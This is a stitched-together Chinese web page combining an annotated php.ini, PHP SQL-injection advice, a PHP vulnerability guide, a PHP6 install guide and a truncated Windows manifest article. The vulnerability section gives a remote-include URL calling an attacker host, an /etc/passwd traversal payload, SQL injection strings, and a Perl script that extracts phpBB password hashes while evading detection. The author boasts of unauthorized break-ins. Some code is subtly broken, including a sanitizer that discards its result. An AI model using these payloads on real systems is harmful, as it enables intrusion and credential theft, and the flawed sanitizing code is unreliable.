;;;;;;;;;;;;;;;;; 
; Data Handling ; 
;;;;;;;;;;;;;;;;; variables_order = "EGPCS" ; 这条指示描述了PHP 记录 
; GET, POST, Cookie, Environment and Built-in 这些变量的顺序. 
; (以 G, P, C, E & S 代表,通常以 EGPCS 或 GPC 的方式引用). 
; 按从左到右记录,新值取代旧值. 
register_globals = On ; 是否将这些 EGPCS 变量注册为全局变量. 
; 若你不想让用户数据不在全局范围内混乱的话,你可能想关闭它. 
; 这和 track_vars 连起来用更有意义 — 这样你可以通过 
; $HTTP_*_VARS[] 数组访问所有的GPC变量. 
register_argc_argv = On ; 这条指示告诉 PHP 是否声明 argv和argc 变量 
; (注:这里argv为数组,argc为变量数) 
; (其中包含用GET方法传来的数据). 
; 若你不想用这些变量,你应当关掉它以提高性能. 
track_vars = On ; 使$HTTP_*_VARS[]数组有效,这里*在使用时用 
; ENV, POST, GET, COOKIE or SERVER替换 
post_max_size = 8M ; PHP将接受的POST数据最大大小. 
gpc_order = "GPC" ; 这条指示被人反对.用 variables_order 代替. 
; Magic quotes 
magic_quotes_gpc = On ; 在输入的GET/POST/Cookie数据里使用魔术引用 
; (原文就这样,呵呵,所谓magic quotes 应该是指用转义符加在引用性的控制字符上,如 \'....) 
magic_quotes_runtime= Off ; 对运行时产生的数据使用魔术引用, 
; 例如:用SQL查询得到的数据,用exec()函数得到的数据,等等 
magic_quotes_sybase = Off ; 采用 Sybase形式的魔术引用(用 '' 脱出 ' 而不用 \') 
; 自动在 PHP 文档之前和之后添加文件 
auto_prepend_file = 
auto_append_file = 
; 象4.04b4一样,PHP 默认地总是在 “Content-type:” 头标输出一个字符的编码方式. 
; 让输出字符集失效,只要设置为空. 
; PHP 的内建默认值是 text/html 
default_mimetype = "text/html" 
;default_charset = "iso-8859-1" 
;;;;;;;;;;;;;;;;;;;;;;;;; 
; Paths and Directories ; 
;;;;;;;;;;;;;;;;;;;;;;;;; 
include_path = ; include 路径设置,UNIX: "/path1:/path2" Windows: "\path1;\path2" 
doc_root = ; php 页面的根路径,仅在非空时有效 
user_dir = ; 告知 php 在使用 /~username 打开脚本时到哪个目录下去找,仅在非空时有效 
;upload_tmp_dir = ; 存放用HTTP协议上载的文件的临时目录(在没指定时使用系统默认的) 
upload_max_filesize = 2097152 ; 文件上载默认地限制为2 Meg 
extension_dir = c:\php\ ; 存放可加载的扩充库(模块)的目录 
enable_dl = On ; 是否使dl()有效. 
; 在多线程的服务器上 dl()函数*不能*很好地工作, 
; 例如IIS or Zeus,并在其上默认为禁止 
;;;;;;;;;;;;;;;; 
; File Uploads ; 
;;;;;;;;;;;;;;;; 
file_uploads = On ; 是否允许HTTP方式文件上载 
;upload_tmp_dir = ; 用于HTTP上载的文件的临时目录(未指定则使用系统默认) 
upload_max_filesize = 2M ; 上载文件的最大许可大小 
; Fopen wrappers ; 
;;;;;;;;;;;;;;;;;; 
allow_url_fopen = On ; 是否允许把URLs当作http:.. 或把文件当作ftp:... 
;;;;;;;;;;;;;;;;;;;;;; 
; 动态扩展 ; 
; Dynamic Extensions ; 
;;;;;;;;;;;;;;;;;;;;;; 
; 若你希望一个扩展库自动加载,用下面的语法: 
; extension=modulename.extension 
; 例如,在windows上, 
; extension=msql.dll 
; or 在UNIX下, 
; extension=msql.so 
; 注意,这只应当是模块的名字,不需要目录信息放在里面. 
; 用上面的 extension_dir 指示指定扩展库的位置. 
;Windows 扩展 
;extension=php_nsmail.dll 
extension=php_calendar.dll 
;extension=php_dbase.dll 
;extension=php_filepro.dll 
extension=php_gd.dll 
;extension=php_dbm.dll 
;extension=php_mssql.dll 
;extension=php_zlib.dll 
;extension=php_filepro.dll  
;extension=php_imap4r2.dll 
;extension=php_ldap.dll 
;extension=php_crypt.dll 
;extension=php_msql2.dll 
;extension=php_odbc.dll 
; 注意, MySQL的支持现在是内建的,因此,不需要用它的dll 
;;;;;;;;;;;;;;;;;;; 
; 模块设定 ; 
; Module Settings ; 
;;;;;;;;;;;;;;;;;;; 
[Syslog] 
define_syslog_variables = Off ; 是否定义各种的系统日志变量 
; 如:$LOG_PID, $LOG_CRON, 等等. 
; 关掉它是个提高效率的好主意. 
; 运行时,你可以调用函数define_syslog_variables(),来定义这些变量 
[mail function] 
SMTP = localhost ;仅用于win32系统 
sendmail_from = me@localhost.com ;仅用于win32系统 
;sendmail_path = ;仅用于unix, 也可支持参数(默认的是'sendmail -t -i') 
[Debugger] 
debugger.host = localhost 
debugger.port = 7869 
debugger.enabled = False 
[Logging] 
; 这些配置指示用于示例的日志记录机制. 
; 看 examples/README.logging 以得到更多的解释 
;logging.method = db 
;logging.directory = /path/to/log/directory 
[Java] 
;java.class.path = .\php_java.jar 
;java.home = c:\jdk 
;java.library = c:\jdk\jre\bin\hotspot\jvm.dll 
;java.library.path = .\ 
[SQL] 
sql.safe_mode = Off 
[ODBC] 
;uodbc.default_db = Not yet implemented 
;uodbc.default_user = Not yet implemented 
;uodbc.default_pw = Not yet implemented 
uodbc.allow_persistent = On ; 允许或禁止 持久连接 
uodbc.check_persistent = On ; 在重用前检查连接是否还可用 
uodbc.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
uodbc.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制  网管u家u.bitsCN.com
uodbc.defaultlrl = 4096 ; 控制 LONG 类型的字段.返回变量的字节数,0 代表通过(?)0 means passthru 
uodbc.defaultbinmode = 1 ; 控制 二进制数据.0 代表?????Handling of binary data. 0 means passthru, 1 return as is, 2 convert to char 
; 见有关 odbc_binmode 和 odbc_longreadlen 的文档以得到 uodbc.defaultlrl 和 uodbc.defaultbinmode 的解释. 
[MySQL] 
mysql.allow_persistent = On ; 允许或禁止 持久连接 
mysql.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
mysql.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制 
mysql.default_port = ; mysql_connect() 使用的默认端口,如不设置,mysql_connect() 
; 将使用变量 $MYSQL_TCP_PORT,或在/etc/services 下的mysql-tcp 条目(unix), 
; 或在编译是定义的 MYSQL_PORT(按这样的顺序) 
; Win32环境,将仅检查MYSQL_PORT. 
mysql.default_socket = ; 用于本地 MySql 连接的默认的套接字名.为空,使用 MYSQL 内建值 
mysql.default_host = ; mysql_connect() 默认使用的主机(安全模式下无效) 
mysql.default_user = ; mysql_connect() 默认使用的用户名(安全模式下无效) 
mysql.default_password = ; mysql_connect() 默认使用的密码(安全模式下无效) 
; 注意,在这个文件下保存密码通常是一个*坏*主意 
; *任何*可以使用PHP访问的用户可以运行 
; 'echo cfg_get_var("mysql.default_password")'来显示那个密码! 
; 而且当然地,任何有读该文件权力的用户也能看到那个密码. 
[mSQL] 
msql.allow_persistent = On ; 允许或禁止 持久连接 
msql.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
msql.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制 
[PostgresSQL] 
pgsql.allow_persistent = On ; 允许或禁止 持久连接 
pgsql.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
pgsql.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制 
[Sybase] 
sybase.allow_persistent = On ; 允许或禁止 持久连接 
sybase.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
sybase.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制 
;sybase.interface_file = "/usr/sybase/interfaces" 
sybase.min_error_severity = 10 ; 显示的错误的最低严重性 
sybase.min_message_severity = 10 ; 显示的消息的最低重要性 
sybase.compatability_mode = Off ; 与旧版的PHP 3.0 兼容的模式.若打开,这将导致 PHP 自动地 
; 把根据结果的 Sybase 类型赋予它们, 
; 而不是把它们全当成字符串. 
; 这个兼容模式不会永远留着, 
; 因此,将你的代码进行需要的修改, 
; 并将该项关闭. 
[Sybase-CT] 
sybct.allow_persistent = On ; 允许或禁止 持久连接 
sybct.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
sybct.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制 
sybct.min_server_severity = 10 ; 显示的错误的最低严重性 
sybct.min_client_severity = 10 ; 显示的消息的最低重要性 
[bcmath] 
bcmath.scale = 0 ; 用于所有bcmath函数的10十进制数数字的个数number of decimal digits for all bcmath functions 
[browscap] 
;browscap = extra/browscap.ini 
browscap = C:\WIN\SYSTEM\inetsrv\browscap.ini 
[Informix] 
ifx.default_host = ; ifx_connect() 默认使用的主机(安全模式下无效) 
ifx.default_user = ; ifx_connect() 默认使用的用户名(安全模式下无效) 
ifx.default_password = ; ifx_connect() 默认使用的密码(安全模式下无效) 
ifx.allow_persistent = On ; 允许或禁止 持久连接 
ifx.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
ifx.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制 
ifx.textasvarchar = 0 ; 若打开,select 状态符返回一个 ‘text blob’字段的内容,而不是它的id 
ifx.byteasvarchar = 0 ; 若打开,select 状态符返回一个 ‘byte blob’字段的内容,而不是它的id 
ifx.charasvarchar = 0 ; 追踪从固定长度的字符列里剥离的空格. 
; 可能对 Informix SE 用户有效. 
ifx.blobinfile = 0 ; 若打开,text和byte blobs 的内容被导出到一个文件 
; 而不是保存到内存. 
ifx.nullformat = 0 ; NULL(空)被作为空字段返回,除非,这里被设为1. 
; 这种情况下(为1),NULL作为字串NULL返回. 
[Session] 
session.save_handler = files ; 用于保存/取回数据的控制方式 
session.save_path = C:\win\temp ; 在 save_handler 设为文件时传给控制器的参数, 
; 这是数据文件将保存的路径. 
session.use_cookies = 1 ; 是否使用cookies 
session.name = PHPSESSID 
; 用在cookie里的session的名字 
session.auto_start = 0 ; 在请求启动时初始化session 
session.cookie_lifetime = 0 ; 为按秒记的cookie的保存时间, 
; 或为0时,直到浏览器被重启 
session.cookie_path = / ; cookie的有效路径 
session.cookie_domain = ; cookie的有效域 
session.serialize_handler = php ; 用于连接数据的控制器 
; php是 PHP 的标准控制器. 
session.gc_probability = 1 ; 按百分比的'garbage collection(碎片整理)'进程 
; 在每次 session 初始化的时候开始的可能性.  网管bitscn_com
session.gc_maxlifetime = 1440 ; 在这里数字所指的秒数后,保存的数据将被视为 
; '碎片(garbage)'并由gc 进程清理掉. 
session.referer_check = ; 检查 HTTP引用以使额外包含于URLs中的ids无效 
session.entropy_length = 0 ; 从文件中读取多少字节 
session.entropy_file = ; 指定这里建立 session id 
; session.entropy_length = 16 
; session.entropy_file = /dev/urandom 
session.cache_limiter = nocache ; 设为{nocache,private,public},以决定 HTTP 的 
; 缓存问题 
session.cache_expire = 180 ; 文档在 n 分钟后过时 
session.use_trans_sid = 1 ; 使用过渡性的 sid 支持,若编译时许可了 
; --enable-trans-sid 
url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=fakeentry" 
[MSSQL] 
;extension=php_mssql.dll 
mssql.allow_persistent = On ; 允许或禁止 持久连接 
mssql.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
mssql.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制  网管u家u.bitsCN.com
mssql.min_error_severity = 10 ; 显示的错误的最低严重性 
mssql.min_message_severity = 10 ; 显示的消息的最低重要性 
mssql.compatability_mode = Off ; 与旧版的PHP 3.0 兼容的模式. 
[Assertion] 
; ????? 
;assert.active = On ; ?assert(expr); active by default 
;assert.warning = On ; issue a PHP warning for each failed assertion. 
;assert.bail = Off ; don't bail out by default. 
;assert.callback = 0 ; user-function to be called if an assertion fails. 
;assert.quiet_eval = 0 ; eval the expression with current error_reporting(). set to true if you want error_reporting(0) around the eval(). 
[Ingres II] 
ii.allow_persistent = On ; 允许或禁止 持久连接 
ii.max_persistent = -1 ; 持久连接的最大数.-1 代表无限制 
ii.max_links = -1 ; 连接的最大数目(持久和非持久).-1 代表无限制 
ii.default_database = ; 默认 database (format : [node_id::]dbname[/srv_class] 
ii.default_user = ; 默认 user 
ii.default_password = ; 默认 password  网管下载dl.bitscn.com
[Verisign Payflow Pro] 
pfpro.defaulthost = "test.signio.com" ; 默认的 Signio 服务器 
pfpro.defaultport = 443 ; 连接的默认端口 
pfpro.defaulttimeout = 30 ; 按秒计的默认超时时间 
; pfpro.proxyaddress = ; 默认的代理的 IP 地址(如果需要) 
; pfpro.proxyport = ; 默认的代理的端口 
; pfpro.proxylogon = ; 默认的代理的登录(logon 用户名) 
; pfpro.proxypassword = ; 默认的代理的密码 
[Sockets] 
sockets.use_system_read = On ; 使用系统的read() 函数替代 php_read()封装 
; Local Variables: (局部变量) 
; tab-width: 4 
; End:

用PHP函数解决SQL injection

SQL injection问题在ASP上可是闹得沸沸扬扬?当然还有不少国内外著名的PHP程序“遇难”。至于SQL injection的详情,网上的文章太多了,在此就不作介绍。


如果你网站空间的php.ini文件里的magic_quotes_gpc设成了off,那么PHP就不会在敏感字符前加上反斜杠(\),由于表单提交的内容可能含有敏感字符,如单引号('),就导致了SQL injection的漏洞。在这种情况下,我们可以用addslashes()来解决问题,它会自动在敏感字符前添加反斜杠。


但是,上面的方法只适用于magic_quotes_gpc=Off的情况。作为一个开发者,你不知道每个用户的magic_quotes_gpc是On还是Off,如果把全部的数据都用上addslashes(),那不是“滥杀无辜”了?假如magic_quotes_gpc=On,并且又用了addslashes()函数,那让我们来看看:

 

[language=PHP]
<?php
//如果从表单提交一个变量$_POST['message'],内容为 Tom's book
//这此加入连接MySQL数据库的代码,自己写吧
//在$_POST['message']的敏感字符前加上反斜杠
$_POST['message'] = addslashes($_POST['message']);

//由于magic_quotes_gpc=On,所以又一次在敏感字符前加反斜杠
$sql = "INSERT INTO msg_table VALUE('$_POST[message]');";

//发送请求,把内容保存到数据库内
$query = mysql_query($sql);

//如果你再从数据库内提取这个记录并输出,就会看到 Tom\'s book
?>

这样的话,在magic_quotes_gpc=On的环境里,所有输入的单引号(')都会变成(\')……
其实我们可以用get_magic_quotes_gpc()函数轻易地解决这个问题。当magic_quotes_gpc=On时,该函数返回TRUE;当magic_quotes_gpc=Off时,返回FALSE。至此,肯定已经有不少人意识到:问题已经解决。请看代码:
<?php
//如果magic_quotes_gpc=Off,那就为提单提交的$_POST['message']里的敏感字符加反斜杠
//magic_quotes_gpc=On的情况下,则不加
if (!get_magic_quotes_gpc()) {
$_POST['message'] = addslashes($_POST['message']);
} else {}
?>

[/language]

 

其实说到这里,问题已经解决。下面再说一个小技巧。


有时表单提交的变量不止一个,可能有十几个,几十个。那么一次一次地复制/粘帖addslashes(),是否麻烦了一点?由于从表单或URL获取的数据都是以数组形式出现的,如$_POST、$_GET)?那就自定义一个可以“横扫千军”的函数:

 

[language=PHP]
<?php
function quotes($content)
{
//如果magic_quotes_gpc=Off,那么就开始处理
if (!get_magic_quotes_gpc()) {
//判断$content是否为数组
if (is_array($content)) {
//如果$content是数组,那么就处理它的每一个单无
foreach ($content as $key=>$value) {
$content[$key] = addslashes($value);
}
} else {
//如果$content不是数组,那么就仅处理一次
addslashes($content);
}
} else {
//如果magic_quotes_gpc=On,那么就不处理
}
//返回$content
return $content;
}
?>

[/language]




Modified At 2008-06-04 13:09:11

PHP网站漏洞的相关总结


从现在的网络安全来看,大家最关注和接触最多的WEB页面漏洞应该是ASP了,在这方面,小竹是专家,我没发言权.然而在PHP方面来看,也同样存在很严重的安全问题,但是这方面的文章却不多.在这里,就跟大家来稍微的讨论一下PHP页面的相关漏洞吧.


我对目前常见的PHP漏洞做了一下总结,大致分为以下几种:包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞,SQL注入漏洞等几种.当然,至于COOKIE 欺骗等一部分通用的技术就不在这里讨论了,这些资料网上也很多.那么,我们就一个一个来分析一下怎样利用这些漏洞吧!


首先,我们来讨论包含文件漏洞.这个漏洞应该说是PHP独有的吧.这是由于不充分处理外部提供的恶意数据,从而导致远程攻击者可以利用这些漏洞以WEB进程权限在系统上执行任意命令.我们来看一个例子:假设在a.php中有这样一句代码:

<?php
include($include."/xxx.php");
?>


在这段代码中,$include一般是一个已经设置好的路径,但是我们可以通过自己构造一个路径来达到攻击的目的.比方说我们提交:a.php? include=http://web/b.php,这个web是我们用做攻击的空间,当然,b.php也就是我们用来攻击的代码了.我们可以在 b.php中写入类似于:passthru("/bin/ls /etc");的代码.这样,就可以执行一些有目的的攻击了.(注:web服务器应该不能执行php代码,不然就出问题了.相关详情可以去看< <如何对PHP程序中的常见漏洞进行攻击>>).在这个漏洞方面,出状况的很多,比方说:PayPal Store Front, HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些.


接着,我们再来看一下脚本命令执行漏洞.这是由于对用户提交的URI参数缺少充分过滤,提交包含恶意HTML代码的数据,可导致触发跨站脚本攻击,可能获得目标用户的敏感信息。我们也举个例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php页面对PHPSESSID缺少充分的过滤,我们可以通过这样的代码来达到攻击的目的:


http://web/index.php?PHPSESSID="><script>...</script>在script里面我们可以构造函数来获得用户的一些敏感信息.在这个漏洞方面相对要少一点,除了PHP Transparent之外还有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等.


再然后,我们就来看看文件泄露漏洞了.这种漏洞是由于对用户提交参数缺少充分过滤,远程攻击者可以利用它进行目录遍历攻击以及获取一些敏感信息。我们拿最近发现的phpMyAdmin来做例子.在phpMyAdmin中,export.php页面没有对用户提交的'what'参数进行充分过滤,远程攻击者提交包含多个'../'字符的数据,便可绕过WEB ROOT限制,以WEB权限查看系统上的任意文件信息。比方说打入这样一个地址:export.php?what=../../../../../.. /etc/passwd%00 就可以达到文件泄露的目的了.在这方面相对多一点,有:myPHPNuke,McNews等等.


最后,我们又要回到最兴奋的地方了.想想我们平时在asp页面中用SQL注入有多么爽,以前还要手动注入,一直到小竹悟出"SQL注入密笈"(嘿嘿),然后再开做出NBSI以后,我们NB联盟真是拉出一片天空.曾先后帮CSDN,大富翁论坛,中国频道等大型网站找出漏洞.(这些废话不多说了,有点跑题了...).还是言规正传,其实在asp中SQL的注入和php中的SQL注入大致相同,只不过稍微注意一下用的几个函数就好了.将asc改成 ASCII,len改成LENGTH,其他函数基本不变了.其实大家看到PHP的SQL注入,是不是都会想到PHP-NUKE和PHPBB呢?不错,俗话说树大招分,像动网这样的论坛在asp界就该是漏洞这王了,这并不是说它的论坛安全太差,而是名气太响,别人用的多了,研究的人也就多了,发现的安全漏洞也就越多了.PHPBB也是一样的,现在很大一部分人用PHP做论坛的话,一般都是选择了PHPBB.它的漏洞也是一直在出,从最早phpBB.com phpBB 1.4.0版本被人发现漏洞,到现在最近的phpBB 2.0.6版本的groupcp.php,以及之前发现的search.php,profile.php,viewtopic.php等等加起来,大概也有十来个样子吧.这也一直导致,一部分人在研究php漏洞的时候都会拿它做实验品,所谓百练成精嘛,相信以后的PHPBB会越来越好.


好了,我们还是来分析一下漏洞产生的原因吧.拿viewtopic.php页面来说,由于在调用viewtopic.php时,直接从GET请求中获得 "topic_id"并传递给SQL查询命令,而并没有进行一些过滤的处理,攻击者可以提交特殊的SQL字符串用于获得MD5密码,获得此密码信息可以用于自动登录或者进行暴力破解。(我想应该不会有人想去暴力破解吧,除非有特别重要的原因).先看一下相关源代码:


# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }


从上面我们可以看出,如果提交的view=newest并且sid设置了值的话,执行的查询代码像下面的这个样子(如果你还没看过PHPBB源代码的话,建议你看了再对着这里来看,受影响系统为:phpBB 2.0.5和phpBB 2.0.4).

 

# $sql = "select p.post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u 
# where s.session_id = '$session_id'
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1";

Rick提供了下面的这断测试代码:

use IO::Socket;
$remote = shift || 'localhost';
$view_topic = shift || '/phpBB2/viewtopic.php';
$uid = shift || 2;
$port = 80;
$dbtype = 'mysql4'; # mysql4 or pgsql
print "Trying to get password hash for uid $uid server $remote dbtype: $dbtype\n";
$p = "";
for($index=1; $index<=32; $index++) {
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM)
or die "Couldnt connect to $remote:$port : $@\n";
$str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) . "&view=newest" . " HTTP/1.0\n\n"; 
print $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1\n"; # replace this for pgsql or remove it
print $socket "Host: $remote\n\n";
while ($answer = <$socket>) {
if ($answer =~ /location:.*\x23(\d+)/) # Matches the location: viewtopic.php?p=<num>#<num> {
$p .= chr ();
}
}
close($socket);
}
print "\nMD5 Hash for uid $uid is $p\n";
# random encode str. helps avoid detection
sub random_encode {
$str = shift;
$ret = "";
for($i=0; $i<length($str); $i++) {
$c = substr($str,$i,1);
$j = rand length($str) * 1000;
if (int($j) % 2 || $c eq ' ') {
$ret .= "%" . sprintf("%x",ord($c));
} else {
$ret .= $c;
}
}
return $ret;
}
sub make_dbsql {
if ($dbtype eq 'mysql4') {
return " union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*" ;
} elsif ($dbtype eq 'pgsql') {
return "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false";
} else {
return "";
}
}

 

这断代码,我就不多做解释了.作用是获得HASH值.
看到这里,大家可能有点疑问,为什么我前面讲的那些改的函数怎么没有用到,我讲出来不怕大家笑话:其实网上很多站点有些页面的查询语句看起来会是这样:


display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc


不要笑,这是真的,我还靠这个进过几个大型网站.至于哪一些,不好讲出来,不过我们学校的网站,我就是靠这个进后台的(希望学校网络中心的看不到这篇文章,^_^).把前面那函数用上吧.不然你只有改人家的密码了哦!!!


差点忘了一点,在SQL注入的时候,PHP与ASP有所不同,mysql对sql语句的运用没有mssql灵活,因此,很多在mssql上可以用的查询语句在mysql数据库中都不能奏效了. 一般我们常见的注入语句像这样:aaa.php?id=a' into outfile 'pass.txt或是aaa.php?id=a' into outfile 'pass.txt' /*再进一步可以改成:aaa.php?id=a' or 1=1 union select id,name,password form users into outfile 'c:/a.txt 中


这样可以将数据库数据导出为文件,然后可以查看.


或是这样:mode=',user_level='4


这个语句一般用在修改资料时,假设页面存在漏洞的话,就可以达到提升权限的做用.


其它的如' OR 1=1 -- 或者:1' or 1='1则跟asp差不多.这里不多讲了.在php里面,SQL注入看来还是漏洞之首啊,有太多的页面存在这个问题了.


其实大家可以看出来,上面那些分类归根结底只有一个原因:提交参数没过滤或是过滤不够严谨.黑客防线向来有攻有守.这里,就大致讲一下防范的方法吧.

 

首先,我个人认为最重要的一点是将magic_quotes_gpc高为ON,它的作用是将单引号,双引号,反斜线,和空字符转换为含有反斜线的字符,如 select * from admin where username='$username' and password='$password'语句,攻击者想用1' or 1='1跳过验证,但是,那些字符串将被转换成这样:select * from admin where username='a' and password='1\' or 1=\'1'从而达到阻止注入的目的,事实也就是自动进行了addslashes()操作.再不行的话,自己定义函数处理吧.现在看来,那些搞PHP注入的人也比较郁闷,因为myslq4以下版本不支持子语句,而新版本的mysql又会将magic_quotes_gpc选项默认为开.


解决包含文件漏洞用的方法就是:要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定,建议设global_variables为off。如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:allow_url_fopen = Off(注:参见<<PHP安全问题:远程溢出、DoS、safe_mode绕过漏洞>>).

php6介绍和php6安装手册-PHP6下载

 
PHP6安装手册:
 
第一步:将apache安装到c:/apache下,装完后可在浏览器中输入 http://localhost 查看是否成功运行了!如果运行错误,80%以上的可能是由于端口问题,请修改c:/apache/conf/httpd.conf中的Listen和ServerName这2个配置为其他未占用的端口!
 
第二步:将php6解包到c:/php下,然后将c:/php/php.ini-recommended 复制成 c:/php/php.ini ,或者直接改名也可!然后请正确配置php.ini,尤其要注意extension_dir参数,将其改为 "c:/php/ext/"。
 
第三步:配置c:/apache/conf/httpd.conf。在文件最后加上以下内容:
LoadFile "c:/php/libmysql.dll"
LoadModule php5_module "c:/php/php6apache2_2.dll"
AddType application/x-httpd-php .php
PHPIniDir "C:/php"
其中要注意的是LoadModule参数中应该是 php5_module 而不是 php6_module。
LoadFile "c:/php/libmysql.dll" 的目的是为了让PHP支持php_mysql.dll扩展
最后保存,重起APACHE就可以运行PHP了!
 
PHP6介绍:
去年在巴黎举行的PHP开发者大会中,PHP6开发的消息开始流传开来,于PHP大会讨论的PHP6,将有很大幅度的变化,但这只是草案阶段,并不代表所有会议的机率都会随着PHP6的发布而包含记录中所有的变更也就是说,在发布PHP6之前,还是会有异动的情形,但是可以确定的是下面所列的数项变化,将会随着PHP6一同面世(当然不是百分百乐,)
赶快来看看这些新特性吧:
 
1.支持Unicode
支持Unicode是有其必然,虽然Unicode占用较多的空间,但Unicode带来的便利性,远超过占用空间的缺点,尤其在国际化的今天,硬件设备越来越强大,网速也大幅度的提升,这么一点小小的缺点是可以忽略的。另外一点,PHP也可以在.ini文件中设定是否开启支持Unicode,决定权在你自己,这是一个不错的点子,关掉Unicode的支持,PHP的性能并不会有大幅度的提升,主要的影响在于需要引用字符串的函数。
 
2.Register Globals 将被移除
这是一个重要的决定,说多新进的PHP开发者会觉得Register Globals满方便的,但是却忽略了Register Globals会带来程序上安全性的隐患,大多数的主机上此项功能是关闭的,印象中从PHP4.3.x版开始时,此项默认设置值即是关闭状态,PHP6正式移除Register Globals也代表着如果程序是由PHP3时代的产物,将完全无法使用,除了改写一途外,别无他法。相信现在的PHP世界里,仍使用PHP3时代所产生的程序应该是少之又少。
 
3.Magic Quotes 将消失
Magic Quotes主要是自动转义需要转义的字符,此项功能移除叶符合大多数PHP开发者的心声。
 
4.Safe Mode 取消
老实说,这个模式不知道哪里不好,取消就取消吧,反正也用不到
 
5.’var’ 别名为 ‘public’
在类中的var声明变成public的别名,相信是为了兼容PHP5而作的决定,PHP6现在也可以称作为OO语言了。
 
6.通过引用返回将出错
现在透过引用返回编译器将会报错 例如$a =& new b()、function &c(),OO语言默认就是引用,所以不需要再使用&了。
 
7.zend.ze1 compatbility mode 将被移去
Zend.ze1相容模式将被移去,PHP5是为兼容旧有PHP4,所以在.ini中可选择是否开启相容模式,原因在于PHP5使用的是第二代解析引擎,但是相容模式并不是百分之百能解析PHP4语法,所以旧时代的产物,移除。
 
8.Freetype 1 and GD 1 support 将不见
这两个是很久的Libs,所以不再支持,GD1早已被现在的GD2取代了。
 
9.dl() 被移到 SAPI 中
dl()主要是让设计师加载extension Libs,现在被移到 SAPI 中
 
10.Register Long Array 去除
从PHP5起默认是关闭,再PHP6中正式移除。
 
11.一些Extension的变更
例如 XMLReader 和 XMLWriter 将不再是以Extension的方式出现,他们将被移入到PHP的核心之中,并且默认是开启,ereg extension将被放入PECL,代表着它将被移出PHP核心,这也是为了让路给新的正则表达式extension,此外,Fileinfo extension 也将被导入PHP的核心之中。
 
12.APC将被导入核心
这是一个提高PHP性能的功能,现在它将被放入PHP核心中,并且可以选择是否启用APC
 
13.告别ASP风格的起始标签
原来是为了取悦ASP开发者转向使用PHP,现今已经不再需要这种做法了,最后,别期望PHP6的性能可以全面超过PHP5,有可能的是PHP6的执行效率会比PHP5还要来的慢的,但是可以预期的是,PHP开发小组将会努力的完善PHP5,超
越PHP5。
那么,对PHP6有兴趣的朋友现在可以到PHP官方网站上下载,试试这些功能是否真的已经
在PHP6中体现出来了,下载地址http://snaps.php.net/

Assembly Manifest 通俗简易手册[转]

 
[现象]
对这个问题的研究是起源于这么一个现象:当你用VC++2005(或者其它.NET)写程序后,在自己的计算机上能毫无问题地运行,但是当把此exe文件拷贝到别人电脑上时,便不能运行了,大致的错误提示如下:应用程序配置不正确,请重新安装程序……或者是MSVCR80D.dll 没有找到什么的(我记得不是很清楚,不过大致是这样的)
 
 
[分析]
看到这样的提示,当然不会傻到重装咯。第一反应应该是什么配置有问题、或者是缺少了什么依赖的库文件;于是我就根据以前Windows缺少库文件的经验,把所有库文件(××.DLL)统统一股脑地复制到当前文件夹下来,满心欢喜以为可以运行了,以运行……@#¥@#%¥……还是挂了。
 
 
[探索]
于是开始网上搜索,我Google,我摆渡;渐渐我发现,这一切都和一个叫做***.manifest 类型的文件发生关系,那么到底什么是 .manifest 文件呢?他有什么用,以前为什么没有?
后来,经过艰苦努力,终于得知,原来这一切都是Windows 的Assembly Manifest搞的鬼。这个东东的作用就是为了解决 以前windows上的“Dll 地狱” 问题才产生的新的DLL管理解决方案。大家知道,Dll是动态加载共享库,同一个Dll可能被多个程序所使用,而所谓“Dll 地狱”就是当不通程序依赖的Dll相同,但版本不同时,由于系统不能分辨到底哪个是哪个,所以加载错了Dll版本,然后就挂了。于是盖茨就吸取了教训,搞了一个程序集清单的东东,每个程序都要有一个清单,这个清单存再和自己应用程序同名的.manifest文件中,里面列出其所需要的所有依赖,这儿所列出的依赖可不是简单地靠文件明来区分的,而是根据一种叫做“强文件名”的东西区分的,那么什么是强文件明呢?我们来看一下这个.manifest文件便知道了。
 
<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
<dependency>
<dependentAssembly>
